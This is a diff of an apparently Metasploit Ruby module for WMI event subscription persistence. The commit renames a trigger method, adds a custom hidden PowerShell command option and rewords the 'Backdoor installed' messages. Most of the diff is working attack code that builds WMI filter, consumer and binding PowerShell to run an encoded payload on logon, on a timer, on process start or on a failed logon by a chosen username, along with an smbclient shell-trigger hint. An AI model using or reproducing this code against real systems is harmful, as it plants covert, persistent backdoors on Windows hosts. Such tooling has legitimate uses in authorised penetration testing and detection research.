@@ -19,14 +19,16 @@ def initialize(info = {})
19
19
'Name' => 'WMI Event Subscription Persistence' ,
20
20
'Description' => %q{
21
21
This module will create a permanent WMI event subscription to achieve file-less persistence using one
22
- of four methods. The USERNAME method will create an event filter that will query the event log for an
23
- EVENT_ID_TRIGGER (default: failed logon request id 4625) that also contains a specified USERNAME_TRIGGER.
24
- When these criteria are met a command line event consumer will trigger an encoded powershell payload.
25
- The INTERVAL method will create an event filter that triggers the payload after the specified CALLBACK_INTERVAL.
26
- The LOGON method will create an event filter that will trigger the payload after the system has an uptime of 4
27
- minutes. The PROCESS method will create an event filter that triggers the payload when the specified process is
28
- started. This module requires administrator level privileges as well as a high integrity process.
29
- It is also recommended not to use stageless payloads due to powershell script length limitations.
22
+ of four methods. The EVENT method will create an event filter that will query the event log for an EVENT_ID_TRIGGER
23
+ (default: failed logon request id 4625) that also contains a specified USERNAME_TRIGGER (note: failed logon auditing
24
+ must be enabled on the target for this method to work, this can be enabled using "auditpol.exe /set /subcategory:Logon
25
+ /failure:Enable"). When these criteria are met a command line event consumer will trigger an encoded powershell payload.
26
+ The INTERVAL method will create an event filter that triggers the payload after the specified CALLBACK_INTERVAL. The LOGON
27
+ method will create an event filter that will trigger the payload after the system has an uptime of 4 minutes. The PROCESS
28
+ method will create an event filter that triggers the payload when the specified process is started. Additionally a custom
29
+ command can be specified to run once the trigger is activated using the advanced option CUSTOM_PS_COMMAND. This module requires
30
+ administrator level privileges as well as a high integrity process. It is also recommended not to use stageless payloads
31
+ due to powershell script length limitations.
30
32
} ,
31
33
'Author' => [ 'Nick Tyrer <@NickTyrer>' ] ,
32
34
'License' => MSF_LICENSE ,
@@ -48,7 +50,7 @@ def initialize(info = {})
48
50
49
51
register_options ( [
50
52
OptEnum . new ( 'PERSISTENCE_METHOD' ,
51
- [ true , 'Method to trigger the payload.' , 'USERNAME ' , [ 'USERNAME ' , 'INTERVAL' , 'LOGON' , 'PROCESS' ] ] ) ,
53
+ [ true , 'Method to trigger the payload.' , 'EVENT ' , [ 'EVENT ' , 'INTERVAL' , 'LOGON' , 'PROCESS' ] ] ) ,
52
54
OptInt . new ( 'EVENT_ID_TRIGGER' ,
53
55
[ true , 'Event ID to trigger the payload. (Default: 4625)' , 4625 ] ) ,
54
56
OptString . new ( 'USERNAME_TRIGGER' ,
@@ -60,6 +62,12 @@ def initialize(info = {})
60
62
OptString . new ( 'CLASSNAME' ,
61
63
[ true , 'WMI event class name. (Default: UPDATER)' , 'UPDATER' ] )
62
64
] )
65
+
66
+ register_advanced_options (
67
+ [
68
+ OptString . new ( 'CUSTOM_PS_COMMAND' ,
69
+ [ false , 'Custom powershell command to run once the trigger is activated. (Note: some commands will need to be encolsed in quotes)' , false , ] ) ,
70
+ ] )
63
71
end
64
72
65
73
@@ -82,91 +90,96 @@ def exploit
82
90
case datastore [ 'PERSISTENCE_METHOD' ]
83
91
when 'LOGON'
84
92
psh_exec ( subscription_logon )
85
- print_good "Backdoor installed!"
93
+ print_good "Persistence installed!"
86
94
@cleanup
87
95
when 'INTERVAL'
88
96
psh_exec ( subscription_interval )
89
- print_good "Backdoor installed!"
97
+ print_good "Persistence installed!"
90
98
@cleanup
91
- when 'USERNAME '
92
- psh_exec ( subscription_user )
93
- print_good "Backdoor installed! Call a shell using \" smbclient \\ \\ \\ \\ <target_ip>\\ \\ C$ -U " +datastore [ 'USERNAME_TRIGGER' ] +" <arbitrary password>\" "
99
+ when 'EVENT '
100
+ psh_exec ( subscription_event )
101
+ print_good "Persistence installed! Call a shell using \" smbclient \\ \\ \\ \\ <target_ip>\\ \\ C$ -U " +datastore [ 'USERNAME_TRIGGER' ] +" <arbitrary password>\" "
94
102
@cleanup
95
103
when 'PROCESS'
96
104
psh_exec ( subscription_process )
97
- print_good "Backdoor installed!"
105
+ print_good "Persistence installed!"
98
106
@cleanup
99
107
end
100
108
end
101
109
102
110
103
111
def build_payload
104
- cmd_psh_payload ( payload . encoded , payload_instance . arch . first , encode_final_payload : true , remove_comspec : true )
112
+ if datastore [ 'CUSTOM_PS_COMMAND' ]
113
+ script_in = datastore [ 'CUSTOM_PS_COMMAND' ]
114
+ compressed_script = compress_script ( script_in , eof = nil )
115
+ encoded_script = encode_script ( compressed_script , eof = nil )
116
+ generate_psh_command_line ( noprofile : true , windowstyle : 'hidden' , encodedcommand : encoded_script )
117
+ else
118
+ cmd_psh_payload ( payload . encoded , payload_instance . arch . first , encode_final_payload : true , remove_comspec : true )
119
+ end
105
120
end
106
121
107
122
108
123
def subscription_logon
109
124
command = build_payload
110
125
class_name = datastore [ 'CLASSNAME' ]
111
- "$filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \" #{ class_name } \" ; Query = \" SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\" ; QueryLanguage = 'WQL'}
126
+ <<-HEREDOC
127
+ $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \" #{ class_name } \" ; Query = \" SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\" ; QueryLanguage = 'WQL'}
112
128
$consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \" #{ class_name } \" ; CommandLineTemplate = \" #{ command } \" }
113
- $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}"
129
+ $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
130
+ HEREDOC
114
131
end
115
132
116
133
117
134
def subscription_interval
118
135
command = build_payload
119
136
class_name = datastore [ 'CLASSNAME' ]
120
137
callback_interval = datastore [ 'CALLBACK_INTERVAL' ]
121
- "$timer = Set-WmiInstance -Namespace root/cimv2 -Class __IntervalTimerInstruction -Arguments @{ IntervalBetweenEvents = ([UInt32] #{ callback_interval } ); SkipIfPassed = $false; TimerID = \" Trigger\" }
138
+ <<-HEREDOC
139
+ $timer = Set-WmiInstance -Namespace root/cimv2 -Class __IntervalTimerInstruction -Arguments @{ IntervalBetweenEvents = ([UInt32] #{ callback_interval } ); SkipIfPassed = $false; TimerID = \" Trigger\" }
122
140
$filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \" #{ class_name } \" ; Query = \" Select * FROM __TimerEvent WHERE TimerID = 'trigger'\" ; QueryLanguage = 'WQL'}
123
141
$consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \" #{ class_name } \" ; CommandLineTemplate = \" #{ command } \" }
124
- $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}"
142
+ $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
143
+ HEREDOC
125
144
end
126
145
127
146
128
- def subscription_user
147
+ def subscription_event
129
148
command = build_payload
130
149
event_id = datastore [ 'EVENT_ID_TRIGGER' ]
131
150
username = datastore [ 'USERNAME_TRIGGER' ]
132
151
class_name = datastore [ 'CLASSNAME' ]
133
- "auditpol.exe /set /subcategory:Logon /failure:Enable
152
+ <<-HEREDOC
134
153
$filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \" #{ class_name } \" ; Query = \" SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_NTLogEvent' AND Targetinstance.EventCode = '#{ event_id } ' And Targetinstance.Message Like '%#{ username } %'\" ; QueryLanguage = 'WQL'}
135
154
$consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \" #{ class_name } \" ; CommandLineTemplate = \" #{ command } \" }
136
- $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}"
155
+ $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
156
+ HEREDOC
137
157
end
138
158
139
159
140
160
def subscription_process
141
161
command = build_payload
142
162
class_name = datastore [ 'CLASSNAME' ]
143
163
process_name = datastore [ 'PROCESS_TRIGGER' ]
144
- "$filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \" #{ class_name } \" ; Query = \" SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName= '#{ process_name } '\" ; QueryLanguage = 'WQL'}
164
+ <<-HEREDOC
165
+ $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \" #{ class_name } \" ; Query = \" SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName= '#{ process_name } '\" ; QueryLanguage = 'WQL'}
145
166
$consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \" #{ class_name } \" ; CommandLineTemplate = \" #{ command } \" }
146
- $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}"
167
+ $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
168
+ HEREDOC
147
169
end
148
170
149
171
150
172
def log_file ( log_path = nil ) # Thanks Meatballs for this
151
- # Get hostname
152
173
host = session . session_host
153
-
154
- # Create Filename info to be appended to downloaded files
155
174
filenameinfo = "_" + ::Time . now . strftime ( "%Y%m%d.%M%S" )
156
-
157
- # Create a directory for the logs
158
175
if log_path
159
176
logs = ::File . join ( log_path , 'logs' , 'wmi_persistence' ,
160
177
Rex ::FileUtils . clean_path ( host + filenameinfo ) )
161
178
else
162
179
logs = ::File . join ( Msf ::Config . log_directory , 'wmi_persistence' ,
163
180
Rex ::FileUtils . clean_path ( host + filenameinfo ) )
164
181
end
165
-
166
- # Create the log directory
167
182
::FileUtils . mkdir_p ( logs )
168
-
169
- # logfile name
170
183
logfile = ::File . join ( logs , Rex ::FileUtils . clean_path ( host + filenameinfo ) + '.rc' )
171
184
logfile
172
185
end
0 commit comments